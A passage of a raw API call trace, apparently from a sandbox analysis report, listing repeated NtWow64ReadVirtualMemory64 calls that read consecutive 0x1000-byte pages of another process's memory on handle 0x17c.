NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.761] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.762] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.763] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.764] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.765] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.766] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.767] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.768] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.769] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.770] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.771] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.772] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.773] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.774] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.775] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.776] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.777] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.778] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.779] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: 